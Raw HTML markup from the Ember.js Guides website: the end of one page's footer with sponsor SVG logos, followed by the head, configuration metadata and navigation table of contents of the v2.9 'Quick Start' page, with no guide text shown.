428.1h43V224.9h-43V169l43-7.1v-56.6c0-68.5 14.9-98.2 102.3-98.2 18.9 0 41.2 2.8 60.8 6.3l-11.6 68.9c-13.3-2.1-19.8-2.5-28.2-2.5-30.8 0-38.6 3.1-38.6 33.1V162h63.9v62.9h-63.9V428h42.5v64.3H6.9zM1062.1 407.7c-13.2 2.8-24.8 2.5-33.2 2.7-34.8.9-31.8-10.6-31.8-43.5v-142h66.3V162H997V7.2h-84.7v377.3c0 74.1 18.3 107.9 98 107.9 18.9 0 44.8-4.9 64.4-9zM1588.2 428.4a32 32 0 1 1-32.1 32 31.95 31.95 0 0 1 32.1-32m0 58.9a26.75 26.75 0 1 0 0-53.5 26.75 26.75 0 0 0 0 53.5m5.9-11.2l-6.5-9.5h-4.5v9.5h-7.2v-31.4h13.1c7.8 0 12.6 3.9 12.6 10.9 0 5.1-2.6 8.6-6.6 9.8l7.8 10.8h-8.7zm-10.9-15.8h5.7c3.3 0 5.5-1.3 5.5-4.7s-2.2-4.6-5.3-4.6h-5.9v9.3zM806.6 224.8v-11.3c-25.6-4.7-51.1-4.7-64.9-4.7-39.4 0-44.2 20.9-44.2 32.2 0 16 5.5 24.7 48.2 34 62.4 14 125.1 28.6 125.1 106 0 73.4-37.8 111.3-117.3 111.3-53.2 0-104.8-11.4-144.2-21.4v-63.2h64.1v11.2c27.6 5.3 56.5 4.8 71.6 4.8 42 0 48.8-22.6 48.8-34.6 0-16.7-12.1-24.7-51.5-32.7-74.2-12.7-133.2-38-133.2-113.5 0-71.4 47.7-99.4 127.3-99.4 53.9 0 94.8 8.4 134.2 18.4v62.8h-64zM416.9 280.4l-6.4-6.4-32.7 28.5a15.53 15.53 0 0 0-5.3-.9 16.4 16.4 0 1 0 16 16.4 19.32 19.32 0 0 0-.7-4.9z"/><path class="cls-1" d="M546.6 407.7l-.1-263.6h-84.7v24.7a173.6 173.6 0 0 0-57.6-21.8h.5v-29.2H415V96.3h-85.3v21.5H340V147h.6A174.1 174.1 0 1 0 462 467.4l15.3 24.9h89.5v-84.7h-20.2zm-169.1-.1v-10h-10.1v9.9a89.59 89.59 0 0 1-84.2-84.7h10.1v-10.1h-10a89.55 89.55 0 0 1 84.1-84v10h10.1v-10a89.67 89.67 0 0 1 84.4 81.5v2.9h-10.2v10.1h10.2v2.8a89.6 89.6 0 0 1-84.4 81.6zM1446 162h174.7v62.9h-41.8l-107.1 263.6c-30.7 74-81.1 143.7-157.9 143.7-18.9 0-44-2.1-61.5-6.3l7.7-76.9a218.08 218.08 0 0 0 33.5 3.5c35.6 0 75.8-22.1 88.4-60.5l-108.6-267.1h-41.8V162h174.8v62.9h-41.7l61.5 151.3 61.5-151.3H1446z"/></svg> </a> </div> <div class="contributor"> <p>Tested with:</p> <a href="https://percy.io"> <svg viewBox="0 0 423 125" fill="none" xmlns="http://www.w3.org/2000/svg" class="contributor-logo"><path fill-rule="evenodd" clip-rule="evenodd" d="M400.648 112.355c-.232.748-.608 1.273-1.127 1.568l-.15.076c-.562.234-1.163.2-1.871.023-2.286-.574-12.884-1.789-8.645-14.407l2.514-7.485-.57-1.455-2.755-6.677-17.26-40.878c-.38-.848-.242-1.62.097-2.147.351-.549.971-.826 1.846-.842h9.821c.673 0 1.245.185 1.684.53.44.348.762.878 1.035 1.531l12.67 30.214 9.088-30.13c.195-.72.54-1.268 1.004-1.632.455-.355 1.037-.532 1.716-.532h10.487c.89 0 1.522.257 1.894.738.372.499.422 1.22.146 2.149l-14.103 45.12-5.44 17.506-2.081 6.73zM359.293 71.74h10.723c1.657 0 2.632 1.076 2.047 2.74-3.022 10.177-12.575 17.223-23.981 17.223-14.817 0-25.831-11.255-25.831-25.835s11.014-25.833 25.831-25.833c11.406 0 20.959 7.045 23.981 17.222.585 1.663-.39 2.74-2.047 2.74h-10.723c-1.268 0-2.145-.587-2.925-1.663-1.754-2.446-4.776-3.817-8.286-3.817-6.335 0-11.21 4.6-11.21 11.351 0 6.753 4.875 11.352 11.21 11.352 3.51 0 6.532-1.37 8.286-3.718.78-1.175 1.559-1.762 2.925-1.762zm-52.512-29.06v2.55c1.212-2.158 3.978-5.221 11.198-5.123.524.006.945.206 1.255.53.455.474.673 1.115.673 1.943v11.96c0 .812-.169 1.42-.522 1.826-.337.404-.842.608-1.497.608-1.431-.05-2.794.1-4.124.455a9.778 9.778 0 0 0-3.551 1.791c-1.043.845-1.881 1.98-2.49 3.362-.619 1.404-.933 3.108-.942 5.136l-.069 12.755c-.072 13.321-10.191 11.303-12.553 11.166-.806-.046-1.432-.219-1.868-.658-.438-.44-.657-1.065-.657-1.875V42.68c0-.81.219-1.436.657-1.875.437-.44 1.061-.658 1.868-.658h10.097c.807 0 1.431.219 1.868.658.438.44.657 1.064.657 1.875zm-43.748-2.622c3.564.017 6.835.666 9.816 1.951a23.428 23.428 0 0 1 7.758 5.398c2.185 2.326 3.886 5.04 5.085 8.161 1.198 3.122 1.814 6.536 1.83 10.243 0 .634-.016 1.252-.065 1.838a65.191 65.191 0 0 1-.129 1.772c-.097.78-.389 1.348-.842 1.707-.454.358-1.053.536-1.782.536h-32.457c.615 1.919 1.474 3.479 2.607 4.682a10.428 10.428 0 0 0 3.952 2.602c1.507.552 3.11.812 4.811.812 1.376-.016 2.704-.227 3.968-.665 1.247-.44 2.332-1.026 3.223-1.773.47-.39.94-.7 1.393-.927.47-.227 1.004-.341 1.619-.341l9.329-.097c.892.016 1.539.276 1.928.78.372.504.388 1.154.016 1.95-1.279 2.83-2.981 5.203-5.102 7.106-2.122 1.918-4.584 3.348-7.386 4.325-2.801.958-5.862 1.447-9.182 1.447-4.05-.018-7.694-.683-10.933-1.985-3.255-1.3-6.025-3.104-8.324-5.446-2.317-2.324-4.082-5.057-5.313-8.161-1.23-3.122-1.847-6.504-1.863-10.162.016-3.658.649-7.04 1.912-10.16 1.263-3.107 3.044-5.838 5.36-8.163 2.301-2.34 5.054-4.146 8.228-5.446 3.175-1.3 6.689-1.967 10.543-1.984zm-68.18 5.316a22.761 22.761 0 0 1 6.533-3.865 21.372 21.372 0 0 1 7.61-1.408c6.452 0 12.76 2.895 16.989 7.575 4.223 4.673 6.836 11.128 6.836 18.253s-2.613 13.579-6.836 18.252c-4.23 4.679-10.537 7.575-16.989 7.575-4.725 0-9.683-1.492-13.137-4.816l.01 15.843c.008 13.321-10.192 11.302-12.554 11.166-.803-.046-1.432-.221-1.868-.66-.436-.437-.656-1.066-.656-1.874l-.032-68.665c0-.826.224-1.477.674-1.928.449-.451 1.094-.677 1.92-.677h8.871c.827 0 1.472.226 1.92.677.45.45.665 1.095.675 1.928l.033 2.624zm25.217 20.418c0-6.283-5.041-11.377-11.26-11.377-6.22 0-11.26 5.094-11.26 11.377 0 6.285 5.04 11.379 11.26 11.379 6.219 0 11.26-5.094 11.26-11.379zm36.016-10.825c-1.83 1.268-3.126 3.138-3.887 5.577h20.811c-.518-1.838-1.295-3.317-2.333-4.422a9.086 9.086 0 0 0-3.562-2.374 11.773 11.773 0 0 0-4.178-.716c-2.738.017-5.038.651-6.85 1.935zM153.654 30.725a5.164 5.164 0 0 0-4.903-3.74 5.184 5.184 0 0 0-1.999.362 22.04 22.04 0 0 1-7.383 1.483c-6.346-4.758-21.736-16.252-30.872-22.71 0 0 1.23 3.765 2.897 10.788 0 0-14.478-8.459-24.102-14.931 0 0 3.508 7.442 3.768 9.837 0 0-11.542-2.188-28.406-6.126 0 0 12.47 7.214 15.497 11.48 0 0-15.13-1.284-32.951-2.61 0 0 8.963 4.708 13.31 8.46 0 0-16.213 2.082-28.542 2.466 0 0 9.013 7.263 12.64 10.768 0 0-15.487 5.773-34.041 16.062 0 0 9.67.646 16.611 2.98 0 0-8.546 7.246-23.882 23.932 0 0 9.664-.186 17.475-1.098 0 0-6.266 9.29-14.148 26.035 0 0 5.261-3.185 10.322-4.283 0 0 .21 18.955 10.641 22.173l.01-.012c.51.17.999.234 1.424.241a5.854 5.854 0 0 0 1.595-.204c3.343-.883 5.918-4.082 8.898-7.787h.001c.976-1.213 1.978-2.458 3.041-3.671a25.118 25.118 0 0 1 4.595-4.737c3.758-2.955 8.926-5.15 15.158-4.127 7.023.709 11.247 7.71 14.643 13.339 2.567 4.256 4.595 7.617 7.501 7.987.204.025.408.04.606.043 4.45.078 6.104-5.028 8.198-11.493v-.002l.428-1.32.054.109c1.557-5.232 4.498-10.85 8.064-15.903 4.844-6.865 11.038-12.967 16.931-15.749l.015.03c3.204-1.762 6.574-3.42 9.895-5.054l.003-.002c10.295-5.064 20.018-9.848 24.983-17.277 2.483-3.716 3.762-8.306 3.802-13.644.035-4.788-.947-9.22-1.777-12.095zM110.69 86.593c-2.961 2.678-5.868 6.012-8.437 9.652-4.237 6.006-7.395 12.617-8.389 18.136 2.79 4.723 5.332 7.065 7.742 7.146l.076.001c2.217.039 3.704-1.408 4.422-4.3.536-2.158.694-5.134.878-8.58v-.004c.333-6.28.766-14.373 3.708-22.051zm-68.51 27.086l-.032-.084a21.944 21.944 0 0 1 4.857-5.354c3.071-2.414 7.087-4.161 11.896-3.649a133.762 133.762 0 0 1-1.91 4.6c-2.371 5.407-5.193 10.988-8.14 11.396a3.457 3.457 0 0 1-.527.032c-2.302-.04-4.311-2.31-6.143-6.941zm59.08-88.187L88.55 17.127l21.058 7.834-8.348.53zm-35.4 3.097l20.265 5.502 8.926-2.757-29.19-2.745zm36.116 10.72l4.4-3.177-16.858 2.5 12.458.676zm-28.803-.503l-7.042 4.488-19.263-2.153 26.305-2.335zm21.54 11.899l7.13-3.782-26.304 2.336 19.174 1.446zM75.185 54.7l-5.062 7.91-24.738 5.525 29.8-13.435zm-30.864 4.385L25.105 67.05l23.7-16.185-4.484 8.221zm-10.605 9.767l-.897 8.287-11.187 13.38 12.084-21.667z" fill="#3F3A40"/></svg> </a> </div> <div class="contributor"> <p>Resolved with:</p> <a href="https://dnsimple.com/resolving/emberjs"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 613.33331 160" height="60" width="100" class="contributor-logo"><defs><clipPath id="a"><path d="M568.809 1050.45c-20.801 0-41.598-1.1-61.301-5.48V841.367c-28.461 10.946-61.301 16.418-105.086 16.418C246.98 857.785 120 751.605 120 580.84c0-175.145 116.031-271.477 286.801-271.477 84.285 0 170.765 22.989 224.402 51.45v684.157c-20.801 4.38-42.691 5.48-62.394 5.48zm-164.2-632.716c-94.14 0-158.722 63.493-158.722 165.293 0 100.707 68.961 165.293 160.914 165.293 37.215 0 71.152-4.379 100.707-22.988V434.156c-32.84-12.043-66.774-17.515-102.899-16.422zm611.911 442.243c-111.653 0-202.512-43.789-248.485-82.102v-452.09c20.797-4.379 41.598-5.472 61.301-5.472 20.797 0 42.691 1.093 62.394 5.472v391.887c24.083 14.23 66.774 28.461 114.94 28.461 79.91 0 125.88-36.125 125.88-131.36V325.785c21.9-4.379 41.6-5.472 62.4-5.472 19.7 0 41.6 1.093 62.39 5.472v318.543c0 119.317-73.34 215.649-240.82 215.649zm554.99-551.707c142.3 0 225.5 65.679 225.5 174.05 0 102.899-82.1 141.211-194.85 158.723-88.67 14.23-111.66 30.652-111.66 64.586 0 32.84 28.46 53.637 94.14 53.637 62.4 0 116.04-18.61 152.16-39.407 25.18 19.704 41.6 50.356 47.07 88.668-33.93 24.082-100.71 50.352-194.85 50.352-131.36 0-217.83-65.676-217.83-162.008 0-109.465 87.57-143.398 179.52-157.629 93.05-14.23 122.6-33.933 122.6-68.965 0-35.027-26.27-62.394-99.61-62.394-82.1 0-128.07 28.461-159.82 51.449-26.27-16.418-47.07-45.977-56.92-85.383 29.55-25.176 98.52-65.679 214.55-65.679zm398.45 614.101c42.69 0 78.82 35.027 78.82 78.809 0 43.79-36.13 78.82-78.82 78.82-44.88 0-81-35.03-81-78.82 0-43.782 36.12-78.809 81-78.809zm0-602.058c20.8 0 41.6 1.093 61.3 5.472v517.77c-19.7 4.379-41.59 5.472-61.3 5.472-20.8 0-41.59-1.093-62.39-5.472v-517.77c20.8-4.379 42.69-5.472 62.39-5.472zm791.43 539.664c-70.05 0-133.54-27.368-176.23-60.207-38.32 37.218-95.24 60.207-169.68 60.207-108.36 0-202.5-45.977-244.1-82.102v-452.09c20.8-4.379 41.6-5.472 61.3-5.472 20.8 0 42.69 1.093 62.39 5.472v391.887c27.37 16.418 65.68 28.461 106.18 28.461 84.29 0 116.04-53.641 116.04-128.074V325.785c20.8-4.379 41.6-5.472 63.49-5.472 19.7 0 41.6 1.093 61.3 5.472v329.488c0 16.422-2.19 32.84-5.47 48.168 25.17 20.797 60.2 42.692 110.55 42.692 84.29 0 117.13-53.641 117.13-128.074V325.785c19.71-4.379 40.51-5.472 62.4-5.472 19.7 0 41.6 1.093 61.3 5.472v329.488c0 112.75-76.63 204.704-226.6 204.704zm591.12-1.098c-98.52 0-180.62-38.313-230.97-79.91V123.273c21.89-4.378 41.59-5.472 62.39-5.472 20.8 0 41.6 1.094 61.3 5.472v201.418c32.84-10.949 67.87-15.328 111.66-15.328 144.49 0 274.75 101.805 274.75 276.95 0 179.523-120.41 272.566-279.13 272.566zm-4.38-438.953c-40.5 0-73.34 6.566-102.9 20.797v279.136c31.75 17.516 65.68 25.176 101.81 25.176 95.23 0 159.82-60.203 159.82-159.816 0-102.899-64.59-165.293-158.73-165.293zm458.66-99.613c20.8 0 42.69 1.093 62.39 5.472v718.095c-20.79 4.37-42.69 5.47-63.48 5.47-20.81 0-41.6-1.1-61.31-5.47V325.785c21.9-4.379 42.7-5.472 62.4-5.472zM4480 624.625c0 139.02-98.52 234.254-237.54 234.254-147.78 0-260.53-116.031-260.53-276.945 0-169.672 111.66-272.571 267.1-272.571 103.99 0 171.86 38.313 215.65 73.344-4.38 31.746-26.28 66.773-53.64 84.289-33.94-24.082-77.72-53.641-153.25-53.641-86.48 0-139.02 52.543-148.88 137.926h366.71c3.29 28.461 4.38 45.977 4.38 73.344zm-369.99 8.758c8.76 71.152 55.83 124.789 132.45 124.789 84.29-1.094 116.03-63.488 116.03-124.789z" clip-rule="evenodd"/></clipPath><clipPath id="b"><path d="M0 0h4600v1200H0z"/></clipPath></defs><g clip-path="url(#a)" transform="matrix(.13333 0 0 -.13333 0 160)"><g clip-path="url(#b)"><path d="M20 17.8h4560V1180H20z"/></g></g></svg> </a> </div> </div> </div> </div> </footer> <script type="x/boundary" id="fastboot-body-end"></script> <script src="/assets/vendor-43f2851966bb68f3f8b11728eabc662f.js"></script> <script src="/assets/ember-guides-282695ea5f03fe0586ac6b0c02eff6f2.js"></script> </body> </html>
{ "pile_set_name": "Github" }
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="ember-guides/config/environment" content="%7B%22modulePrefix%22%3A%22ember-guides%22%2C%22environment%22%3A%22production%22%2C%22rootURL%22%3A%22%2F%22%2C%22locationType%22%3A%22trailing-history%22%2C%22historySupportMiddleware%22%3Atrue%2C%22EmberENV%22%3A%7B%22FEATURES%22%3A%7B%7D%2C%22EXTEND_PROTOTYPES%22%3A%7B%22Date%22%3Afalse%7D%2C%22_APPLICATION_TEMPLATE_WRAPPER%22%3Afalse%2C%22_DEFAULT_ASYNC_OBSERVERS%22%3Atrue%2C%22_JQUERY_INTEGRATION%22%3Afalse%2C%22_TEMPLATE_ONLY_GLIMMER_COMPONENTS%22%3Atrue%7D%2C%22APP%22%3A%7B%22name%22%3A%22ember-guides%22%2C%22version%22%3A%223.7.0%2Ba7598d50%22%7D%2C%22ember-meta%22%3A%7B%22description%22%3A%22Ember.js%20helps%20developers%20be%20more%20productive%20out%20of%20the%20box.%20Designed%20with%20developer%20ergonomics%20in%20mind%2C%20its%20friendly%20APIs%20help%20you%20get%20your%20job%20done%E2%80%94fast.%22%7D%2C%22guidemaker%22%3A%7B%22title%22%3A%22Ember%20Guides%22%2C%22sourceRepo%22%3A%22https%3A%2F%2Fgithub.com%2Fember-learn%2Fguides-source%22%7D%2C%22algolia%22%3A%7B%22algoliaId%22%3A%22Y1OMR4C7MF%22%2C%22algoliaKey%22%3A%225d01c83734dc36754d9e94cbf6f8964d%22%2C%22indexName%22%3A%22ember-guides%22%7D%2C%22showdown%22%3A%7B%22ghCompatibleHeaderId%22%3Atrue%2C%22prefixHeaderId%22%3A%22toc_%22%7D%2C%22deprecationsGuideURL%22%3A%22https%3A%2F%2Fwww.emberjs.com%2Fdeprecations%2F%22%2C%22metricsAdapters%22%3A%5B%7B%22name%22%3A%22GoogleAnalytics%22%2C%22environments%22%3A%5B%22production%22%5D%2C%22config%22%3A%7B%22id%22%3A%22UA-27675533-1%22%2C%22require%22%3A%5B%22linkid%22%5D%7D%7D%5D%2C%22infoBanner%22%3A%7B%22content%22%3A%22Ember%20Octane%20is%20here!%20A%20lot%20has%20changed%20since%20Ember%203.14%2C%20including%20these%20Guides.%20Read%20more%20in%20the%20%3Ca%20href%3D%5C%22https%3A%2F%2Fblog.emberjs.com%2F2019%2F12%2F20%2Foctane-is-here.html%5C%22%3EEmber%20Blog%3C%2Fa%3E.%22%7D%2C%22exportApplicationGlobal%22%3Afalse%2C%22fastboot%22%3A%7B%22hostWhitelist%22%3A%5B%7B%7D%5D%7D%2C%22ember-collapsible-panel%22%3A%7B%7D%7D" /> <!-- EMBER_CLI_FASTBOOT_TITLE --> <meta name="ember-cli-head-start" content> <title>Quick Start - Getting Started - Ember Guides</title> <meta name="description" content="This guide will teach you how to build a simple app using Ember from scratch. We'll cover these steps: 1. Installing Ember. 2. Creating a new application. 3. Defining a route. 4. Writing a UI component. 5. Building your app to be deployed to production...."> <meta name="referrer" content="unsafe-url"> <!----> <!----> <!----> <!----> <meta property="og:title" content="Quick Start - Getting Started - Ember Guides"> <!----> <meta property="og:description" content="This guide will teach you how to build a simple app using Ember from scratch. We'll cover these steps: 1. Installing Ember. 2. Creating a new application. 3. Defining a route. 4. Writing a UI component. 5. Building your app to be deployed to production...."> <meta property="og:type" content="website"> <!----> <meta name="twitter:card" content="summary"> <!----> <!----> <meta name="twitter:title" content="Quick Start - Getting Started - Ember Guides"> <!----> <meta name="twitter:description" content="This guide will teach you how to build a simple app using Ember from scratch. We'll cover these steps: 1. Installing Ember. 2. Creating a new application. 3. Defining a route. 4. Writing a UI component. 5. Building your app to be deployed to production...."> <!----> <!----> <!----><meta name="ember-cli-head-end" content> <link integrity="" rel="stylesheet" href="/assets/vendor-c5cdfdb224e40208d070a18942b32fd3.css"> <link integrity="" rel="stylesheet" href="/assets/ember-guides-92dca9f7555a994d11fd3e94376c4753.css"> <link rel="shortcut icon" href="/images/favicon.png" /> </head> <body class="application version show version-show"> <script type="x/boundary" id="fastboot-body-start"></script><!----> <header id="ember186957" class="es-header ember-view" role="banner"><div id="ember186958" class="ember-view"><div class="container"> <nav id="ember186959" class="navbar navbar-inverse navbar-expand-lg bg-inverse ember-view"> <a class="navbar-brand" href="https://www.emberjs.com"> <svg width="94" height="37" viewBox="0 0 259 100" xmlns="http://www.w3.org/2000/svg"><title>Ember Logo 1c White</title><g fill="#FFF" fill-rule="evenodd"><path d="M253.97 68.576s-6.28 4.872-11.807 4.328c-5.528-.544-3.792-12.896-3.792-12.896s1.192-11.328-2.064-12.28c-3.248-.944-7.256 2.952-7.256 2.952s-4.984 5.528-7.368 12.576l-.656.216s.76-12.36-.104-15.176c-.648-1.408-6.608-1.296-7.584 1.192-.976 2.496-5.744 19.832-6.072 27.096 0 0-9.32 7.912-17.44 9.208-8.128 1.304-10.08-3.792-10.08-3.792s22.104-6.176 21.344-23.84c-.752-17.664-17.824-11.128-19.752-9.68-1.872 1.408-11.848 7.424-14.76 24.088-.096.56-.272 3.04-.272 3.04s-8.56 5.736-13.328 7.256c0 0 13.328-22.432-2.92-32.616-4.574-2.753-8.56-.216-10.929 2.11-1.451 1.425 19.705-21.718 14.825-42.422C151.635.08 146.707-.976 142.187.624c-6.864 2.704-9.464 6.712-9.464 6.712s-8.888 12.896-10.952 32.08c-2.056 19.176-5.088 42.368-5.088 42.368s-4.232 4.12-8.128 4.336c-3.904.208-2.168-11.6-2.168-11.6s3.032-17.984 2.824-21.024c-.224-3.032-.44-4.656-4.016-5.736-3.576-1.088-7.48 3.464-7.48 3.464s-10.288 15.6-11.152 17.984l-.552.984-.536-.656s7.256-21.24.328-21.56c-6.936-.328-11.488 7.584-11.488 7.584s-7.912 13.224-8.24 14.736l-.536-.648s3.248-15.384 2.6-19.184c-.656-3.792-4.224-3.032-4.224-3.032s-4.552-.544-5.744 2.384c-1.192 2.928-5.528 22.32-6.072 28.496 0 0-11.376 8.128-18.856 8.232-7.472.112-6.712-4.736-6.712-4.736s27.416-9.384 19.936-27.912c-3.36-4.768-7.256-6.264-12.784-6.16-5.528.112-12.384 3.48-16.824 13.448-2.128 4.752-2.896 9.272-3.336 12.68 0 0-4.792.984-7.392-1.184-2.608-2.168-3.944 0-3.944 0s-4.464 5.696-.024 7.424c4.448 1.736 11.376 2.544 11.376 2.544.64 3.032 2.488 8.192 7.904 12.296 8.128 6.176 23.72-.568 23.72-.568l6.392-3.584s.216 5.864 4.88 6.72c4.656.856 6.608-.016 14.736-19.736 4.768-10.08 5.096-9.536 5.096-9.536.536-.112-3.144 19.176-1.736 24.376 1.408 5.208 7.584 4.664 7.584 4.664s3.36.648 6.072-8.888c2.704-9.536 7.912-20.048 7.912-20.048.64 0-1.632 19.72 1.832 26.008 3.472 6.288 12.464 2.112 12.464 2.112s6.288-3.168 7.264-4.144c0 0 7.456 6.352 17.976 5.2 23.52-4.632 31.888-10.888 31.888-10.888s4.04 10.24 16.56 11.192c14.296 1.08 22.104-7.912 22.104-7.912s-.112 5.848 4.872 7.912c4.992 2.056 8.344-9.52 8.344-9.52l8.344-22.992c.76 0 1.192 14.952 9.432 17.336 8.232 2.384 18.96-5.584 18.96-5.584s2.6-1.432 2.168-5.768c-.44-4.336-4.336-2.72-4.336-2.72zM36.93 57.728c2.92 2.816 1.84 8.88-3.687 12.672-5.52 3.8-8.016 3.04-8.016 3.04.328-12.896 8.784-18.536 11.704-15.712zm107.817-44.536c1.84 9.752-16.144 38.792-16.144 38.792.216-6.504 6.608-28.496 6.608-28.496s7.688-20.048 9.536-10.296zM126.97 87.2s-1.408-4.768 2.6-18.096c4.016-13.328 13.44-8.128 13.44-8.128s6.504 4.984 1.408 18.312C139.33 92.616 126.97 87.2 126.97 87.2zm54.832-26.112c4.44-8.128 7.912-3.688 7.912-3.688s3.792 4.12-.544 10.296c-4.336 6.176-10.616 5.744-10.616 5.744s-1.192-4.232 3.248-12.352z"/><path d="M226.028 93.977v-1.555h.986c.137 0 .274.015.418.03.144.02.28.057.396.107.122.05.216.122.288.216.079.094.115.223.115.382 0 .36-.108.59-.324.684-.216.093-.497.136-.835.136h-1.044zm-1.174-2.47v5.92h1.174v-2.528h.734l1.44 2.527h1.231l-1.584-2.585a2.8 2.8 0 0 0 .612-.13c.187-.064.353-.158.49-.28.144-.122.252-.28.331-.475.086-.195.122-.425.122-.699 0-.64-.201-1.094-.597-1.353-.403-.267-.98-.396-1.72-.396h-2.233zm-1.88 2.967c0-.605.102-1.159.31-1.663.21-.504.49-.936.85-1.303a3.853 3.853 0 0 1 1.26-.864 3.93 3.93 0 0 1 1.562-.31c.548 0 1.066.101 1.548.31.49.209.908.497 1.268.864s.64.8.856 1.303c.21.504.317 1.058.317 1.663s-.108 1.16-.317 1.67c-.216.505-.496.951-.856 1.318-.36.375-.778.663-1.268.871-.482.21-1 .31-1.548.31a3.93 3.93 0 0 1-1.562-.31 3.765 3.765 0 0 1-1.26-.87 4.109 4.109 0 0 1-.85-1.318 4.366 4.366 0 0 1-.31-1.67zm-1.446 0c0 .814.15 1.541.446 2.19.302.654.698 1.209 1.195 1.67.504.46 1.08.813 1.735 1.058.656.245 1.34.367 2.052.367.72 0 1.404-.122 2.06-.367a5.282 5.282 0 0 0 1.735-1.059 5.234 5.234 0 0 0 1.195-1.67c.295-.648.44-1.375.44-2.189 0-.799-.145-1.526-.44-2.174a5.125 5.125 0 0 0-2.93-2.722 5.675 5.675 0 0 0-2.06-.374c-.712 0-1.396.122-2.052.374a5.125 5.125 0 0 0-2.93 2.722c-.295.648-.446 1.375-.446 2.174z"/></g></svg> </a> <button id="ember186960" class="navbar-toggler collapsed ember-view"> <span class="navbar-toggler-icon"></span> </button> <div id="ember186961" class="navbar-collapse collapse ember-view"><ul id="ember186962" class="mr-auto nav navbar-nav ember-view"><!----><li id="ember186963" class="dropdown nav-item ember-view"> <a href="#" id="ember186964" class="dropdown-toggle nav-link ember-view" role="button">Docs <span class="caret"></span></a> <!----> </li> <!----><li id="ember186966" class="dropdown nav-item ember-view"> <a href="#" id="ember186967" class="dropdown-toggle nav-link ember-view" role="button">Releases <span class="caret"></span></a> <!----> </li> <li id="ember186969" class="nav-item ember-view"> <a href="https://emberjs.com/blog" class="nav-link">Blog</a> </li><!----> <!----><li id="ember186970" class="dropdown nav-item ember-view"> <a href="#" id="ember186971" class="dropdown-toggle nav-link ember-view" role="button">Community <span class="caret"></span></a> <!----> </li> <!----><li id="ember186973" class="dropdown nav-item ember-view"> <a href="#" id="ember186974" class="dropdown-toggle nav-link ember-view" role="button">About <span class="caret"></span></a> <!----> </li> </ul><ul id="ember186976" class="nav navbar-nav ember-view"> <form> <div id="ember186977" class="search-input ember-view"> <input id="search-input" placeholder="Search the guides" autocomplete="off" type="search"> <div id="ember186978" class="ds-dropdown-results ember-tether ember-view"><!----></div></div> </form> </ul> </div> </nav></div> </div> </header> <!----> <div class="info-banner-wrapper"> <div class="info-banner-container"> <div id="ember186979" class="ember-view"><p>Ember Octane is here! A lot has changed since Ember 3.14, including these Guides. Read more in the <a href="https://blog.emberjs.com/2019/12/20/octane-is-here.html">Ember Blog</a>.</p> </div> </div> </div> <main class="container"> <aside class="sidebar"> <label for="version-select" class="visually-hidden">Guides version</label> <div id="ember186980" class="ember-basic-dropdown ember-view"> <div aria-label="v2.9.0" aria-owns="ember-basic-dropdown-content-ember186980" tabindex="0" data-ebd-id="ember186980-trigger" role="button" id="ember186981" class="ember-power-select-trigger ember-basic-dropdown-trigger ember-basic-dropdown-trigger--in-place ember-view"> <span class="ember-power-select-selected-item"> 2.9 <!----> </span> <!----><span class="ember-power-select-status-icon"></span> </div> <div id="ember-basic-dropdown-content-ember186980" class="ember-basic-dropdown-content-placeholder" style="display: none;"></div> </div> <input id="toc-toggle" class="toc-toggle visually-hidden" type="checkbox"> <label for="toc-toggle">Table of Contents <span class="visually-hidden">toggle</span></label> <nav class="toc-container versions" aria-label="table of contents"> <ol id="ember186985" class="toc-level-0 ember-view"><!----> <li class="toc-group toc-level-0"> <div id="ember186988" class="cp-Panel cp-is-open ember-view"><a href="/v2.9.0/getting-started" id="ember186989" class="cp-Panel-toggle ember-view"> Getting Started </a> <div id="ember186990" class="cp-Panel-body cp-is-open ember-view"> <div class="cp-Panel-body-inner"> <ol id="ember186991" class="toc-level-1 ember-view"> <li class="toc-link toc-level-1 selected"> <a href="/v2.9.0/getting-started/quick-start" id="ember186993" class="selected ember-view"> Quick Start </a> </li> <li class="toc-link toc-level-1 "> <a href="/v2.9.0/getting-started/index" id="ember186995" class="ember-view"> Installing Ember </a> </li> <li class="toc-link toc-level-1 "> <a href="/v2.9.0/getting-started/core-concepts" id="ember186997" class="ember-view"> Core Concepts </a> </li> </ol> </div> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember186999" class="cp-Panel cp-is-closed ember-view"><a href="/v2.9.0/tutorial" id="ember187000" class="cp-Panel-toggle ember-view"> Tutorial </a> <div id="ember187001" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember187003" class="cp-Panel cp-is-closed ember-view"><a href="/v2.9.0/object-model" id="ember187004" class="cp-Panel-toggle ember-view"> The Object Model </a> <div id="ember187005" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember187007" class="cp-Panel cp-is-closed ember-view"><a href="/v2.9.0/routing" id="ember187008" class="cp-Panel-toggle ember-view"> Routing </a> <div id="ember187009" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember187011" class="cp-Panel cp-is-closed ember-view"><a href="/v2.9.0/templates" id="ember187012" class="cp-Panel-toggle ember-view"> Templates </a> <div id="ember187013" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember187015" class="cp-Panel cp-is-closed ember-view"><a href="/v2.9.0/components" id="ember187016" class="cp-Panel-toggle ember-view"> Components </a> <div id="ember187017" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember187019" class="cp-Panel cp-is-closed ember-view"><a href="/v2.9.0/controllers" id="ember187020" class="cp-Panel-toggle ember-view"> Controllers </a> <div id="ember187021" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember187023" class="cp-Panel cp-is-closed ember-view"><a href="/v2.9.0/models" id="ember187024" class="cp-Panel-toggle ember-view"> Models </a> <div id="ember187025" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember187027" class="cp-Panel cp-is-closed ember-view"><a href="/v2.9.0/applications" id="ember187028" class="cp-Panel-toggle ember-view"> Application Concerns </a> <div id="ember187029" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember187031" class="cp-Panel cp-is-closed ember-view"><a href="/v2.9.0/testing" id="ember187032" class="cp-Panel-toggle ember-view"> Testing </a> <div id="ember187033" class="cp-Panel-body ember-view"> <!----> 